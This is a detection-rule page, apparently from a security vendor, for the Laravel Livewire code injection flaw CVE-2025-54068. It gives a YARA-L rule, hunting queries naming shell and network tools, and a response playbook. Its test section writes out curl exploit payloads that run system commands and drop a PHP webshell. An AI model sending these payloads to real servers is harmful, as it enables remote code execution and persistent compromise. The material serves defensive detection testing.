Which SIEM platforms have a CVE-2025-54068 detection rule?

df00tech provides CVE-2025-54068 (Laravel Livewire Code Injection (CVE-2025-54068)) detection queries for 7 SIEM platforms: Microsoft Sentinel / Defender, Splunk, Elastic Security (EQL), IBM QRadar (AQL), Sumo Logic CSE, Google Chronicle / SecOps, CrowdStrike LogScale (CQL).

What data sources are required to detect Laravel Livewire Code Injection (CVE-2025-54068) (CVE-2025-54068)?

Detecting Laravel Livewire Code Injection (CVE-2025-54068) requires the following data sources: Microsoft Defender for Endpoint, Azure Monitor, Microsoft Sentinel.

What severity and confidence is the CVE-2025-54068 detection?

The CVE-2025-54068 detection is rated critical severity with medium confidence.

What are common false positives for CVE-2025-54068?

Common false positives for CVE-2025-54068 include: Legitimate Livewire component updates containing complex PHP object serialization; Security scanners or penetration testing tools probing Livewire endpoints; Development environments with debug-mode Livewire payloads.

CVE-2025-54068 Google Chronicle · YARA-L

Detect Laravel Livewire Code Injection (CVE-2025-54068) in Google Chronicle

Detects exploitation of CVE-2025-54068, a code injection vulnerability in Laravel Livewire. This KEV-listed vulnerability allows attackers to inject and execute arbitrary PHP code through Livewire component handling, potentially leading to remote code execution on affected Laravel applications.

MITRE ATT&CK

Tactic: Initial Access Execution Persistence

YARA-L Detection Query

Google Chronicle (YARA-L)

yaral

rule cve_2025_54068_livewire_code_injection {
  meta:
    author = "df00tech"
    description = "Detects CVE-2025-54068 Laravel Livewire code injection exploitation"
    severity = "CRITICAL"
    priority = "HIGH"
    reference = "https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3"
  events:
    $http.metadata.event_type = "NETWORK_HTTP"
    $http.target.url.path = /.*livewire\/(message|upload-file).*/
    $http.network.http.method = "POST"
    (
      $http.network.http.request_body = /eval\(/ or
      $http.network.http.request_body = /base64_decode\(/ or
      $http.network.http.request_body = /system\(/ or
      $http.network.http.request_body = /shell_exec\(/ or
      $http.network.http.request_body = /passthru\(/
    )
  condition:
    $http
}

critical severity medium confidence

Chronicle YARA-L rule detecting HTTP POST requests to Laravel Livewire endpoints containing PHP code injection function calls indicative of CVE-2025-54068.

Data Sources

Google Chronicle SIEMWeb Proxy LogsNetwork HTTP Events

Required Tables

network_http

False Positives & Tuning

Legitimate Livewire components with encoded PHP class representations in payloads
WAF bypass testing in authorized red team exercises
Base64-encoded Livewire component names matching injection patterns

Other platforms for CVE-2025-54068

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

Test 1CVE-2025-54068 Basic eval() Injection via Livewire Message Endpoint
Expected signal: HTTP POST to /livewire/message with base64-encoded payload containing system() call; PHP process may log eval() warning; web server logs capture anomalous request body.
Test 2CVE-2025-54068 Shell Command Execution via Livewire Injection
Expected signal: Process creation event: php or php-fpm spawning /bin/sh with argument 'id > /tmp/pwned'; file creation event at /tmp/pwned; web server access log entry for the crafted POST.
Test 3CVE-2025-54068 Webshell Deployment Simulation
Expected signal: File creation event for shell.php in public/ directory initiated by php-fpm or web server process; subsequent HTTP GET requests to /shell.php with command parameters.

Last updated: 2026-06-19 Research depth: standard

References (3)

Response Playbook

Triage

Identify the source IP(s) making POST requests to /livewire/message or /livewire/upload-file and determine if they are known scanners, internal hosts, or external threat actors.
Inspect the raw POST body of flagged requests for PHP code injection payloads (eval, base64_decode, system, exec, shell_exec, passthru) and capture full request/response pairs for forensic review.
Check web server and PHP error logs for eval() execution errors, unexpected output, or new file writes in the Laravel storage or public directories within the exploitation timeframe.
Determine if the Laravel application is running an unpatched version of Livewire by reviewing composer.lock for the livewire/livewire package version and comparing against the patched commit ef04be759da41b14d2d129e670533180a44987dc.

Containment

Immediately block the offending source IP(s) at the WAF or perimeter firewall and apply rate-limiting to all /livewire/* routes pending patch deployment.
Apply the official Livewire patch by upgrading livewire/livewire to the fixed version via composer update livewire/livewire, then restart PHP-FPM and the web server to ensure patched code is loaded.

Evidence Collection

Preserve all web server access and error logs covering the exploitation window, including full POST body capture if available (ensure PII handling compliance before retention).
Capture a disk image or file system snapshot of the webroot and Laravel storage directories to identify any webshells, malicious files, or modified PHP files written during exploitation.

Escalation Criteria

!Escalate to incident response if any reverse shell, webshell, or unauthorized PHP file is found in the application directory, indicating successful code execution.
!Escalate immediately if lateral movement indicators are observed from the web server host, such as unexpected outbound connections, SSH brute force, or credential access attempts post-exploitation.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

>Web server access logs showing POST requests to /livewire/message or /livewire/upload-file with anomalous payload sizes or encoded content.
>PHP error logs capturing eval() failures, unexpected function calls, or inclusion of remote resources.
>Filesystem artifacts: newly created .php files in storage/app, public/, or bootstrap/cache directories not corresponding to deployment activity.
>Process execution records showing PHP-FPM or the web server process spawning unexpected child processes (bash, curl, wget, python).

Tuning Guidance

Begin with medium confidence and tune by baseline-ing normal Livewire POST payload structures for your application. Allowlist known component fingerprints and encoded class names that legitimately appear in request bodies. Reduce false positives from security scanners by excluding known scanner IP ranges. For process-based detections, refine the PHP parent process list to match the exact binary names on your OS distribution. Elevate to high confidence after two weeks of tuning with low false positive rates.

Hunting Queries

Hunt for PHP web server processes spawning unexpected shell or network utility children, a strong indicator of successful Livewire RCE exploitation.

Hunting — KQL

kql

DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in ("php", "php-fpm", "php8.0", "php8.1", "php8.2", "php8.3")
| where FileName in ("bash", "sh", "curl", "wget", "nc", "ncat", "python", "python3", "perl")
| where InitiatingProcessParentFileName in ("nginx", "apache2", "httpd", "php-fpm")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
| order by TimeGenerated desc

Hunting — SPL

spl

index=endpoint sourcetype IN ("crowdstrike", "sysmon", "auditd") EventCode IN (1, "PROCESS_START") ParentImage IN ("*php*", "*php-fpm*") Image IN ("*bash*", "*sh", "*curl*", "*wget*", "*python*", "*perl*") | table _time, host, ParentImage, Image, CommandLine | sort -_time

Atomic Red Team Tests

Test 1 CVE-2025-54068 Basic eval() Injection via Livewire Message Endpoint

linux

Simulates an attacker sending a crafted POST request to the Livewire /livewire/message endpoint with an eval()-based PHP code injection payload to test detection coverage.

Command

bash

curl -s -X POST http://TARGET_HOST/livewire/message \
  -H 'Content-Type: application/json' \
  -H 'X-Livewire: true' \
  -d '{"fingerprint":{"id":"test","name":"evil","locale":"en","path":"/"},"serverMemo":{"children":[],"errors":[],"htmlHash":"test","data":{},"dataMeta":[],"checksum":"test"},"updates":[{"type":"callMethod","payload":{"id":"test","method":"__construct","params":["eval(base64_decode(\"c3lzdGVtKCdpZCcp\"));"]}}]}'

Cleanup

bash

Review and rotate any credentials accessible from the web server process; remove any test artifacts written during simulation.

Expected Telemetry

HTTP POST to /livewire/message with base64-encoded payload containing system() call; PHP process may log eval() warning; web server logs capture anomalous request body.

Expected Detection

SPL and KQL queries should flag the request based on base64_decode and eval pattern matching in the POST body.

Test 2 CVE-2025-54068 Shell Command Execution via Livewire Injection

linux

Tests whether the detection stack captures PHP-spawned shell processes resulting from successful Livewire code injection, simulating the post-exploitation phase.

Command

bash

# Run on a lab host with a vulnerable Laravel+Livewire installation
curl -s -X POST http://127.0.0.1:8000/livewire/message \
  -H 'Content-Type: application/json' \
  -H 'X-Livewire: true' \
  -d '{"fingerprint":{"id":"abc","name":"test","locale":"en","path":"/test"},"serverMemo":{"children":[],"errors":[],"htmlHash":"abc","data":{},"dataMeta":[],"checksum":"abc"},"updates":[{"type":"callMethod","payload":{"id":"abc","method":"mount","params":["system(\"id > /tmp/pwned\");"]}}}]}'

Cleanup

bash

rm -f /tmp/pwned; verify no persistent backdoor files were created in the webroot or storage directories.

Expected Telemetry

Process creation event: php or php-fpm spawning /bin/sh with argument 'id > /tmp/pwned'; file creation event at /tmp/pwned; web server access log entry for the crafted POST.

Expected Detection

Elastic EQL sequence rule and CrowdStrike CQL should fire on the PHP → shell process spawn chain.

Test 3 CVE-2025-54068 Webshell Deployment Simulation

linux

Simulates an attacker using the Livewire code injection to write a PHP webshell to the public directory, testing file creation-based detections and post-exploitation persistence visibility.

Command

bash

# Lab-only: requires vulnerable Livewire installation
curl -s -X POST http://127.0.0.1:8000/livewire/message \
  -H 'Content-Type: application/json' \
  -H 'X-Livewire: true' \
  -d '{"fingerprint":{"id":"xyz","name":"pwn","locale":"en","path":"/"},"serverMemo":{"children":[],"errors":[],"htmlHash":"xyz","data":{},"dataMeta":[],"checksum":"xyz"},"updates":[{"type":"callMethod","payload":{"id":"xyz","method":"mount","params":["file_put_contents(\"/var/www/html/public/shell.php\",\"<?php system($_GET[\\"c\\"]); ?>\");"]}}}]}'

Cleanup

bash

rm -f /var/www/html/public/shell.php; audit webroot for any other unexpected .php files created during testing.

Expected Telemetry

File creation event for shell.php in public/ directory initiated by php-fpm or web server process; subsequent HTTP GET requests to /shell.php with command parameters.

Expected Detection

File integrity monitoring and EDR file creation events should alert on web process writing .php files to webroot; web access logs capturing requests to newly created shell.php.

Detect Laravel Livewire Code Injection (CVE-2025-54068) in Google Chronicle

MITRE ATT&CK

YARA-L Detection Query

Data Sources

Required Tables

False Positives & Tuning

Other platforms for CVE-2025-54068

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Related Techniques

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hubs

Related Techniques

Same Tactic: Initial Access

Popular Detections

MITRE ATT&CK

YARA-L Detection Query

Data Sources

Required Tables

False Positives & Tuning

Other platforms for CVE-2025-54068

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Related Techniques

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hubs

Related Techniques

Same Tactic: Initial Access

Popular Detections

Get new detections in your inbox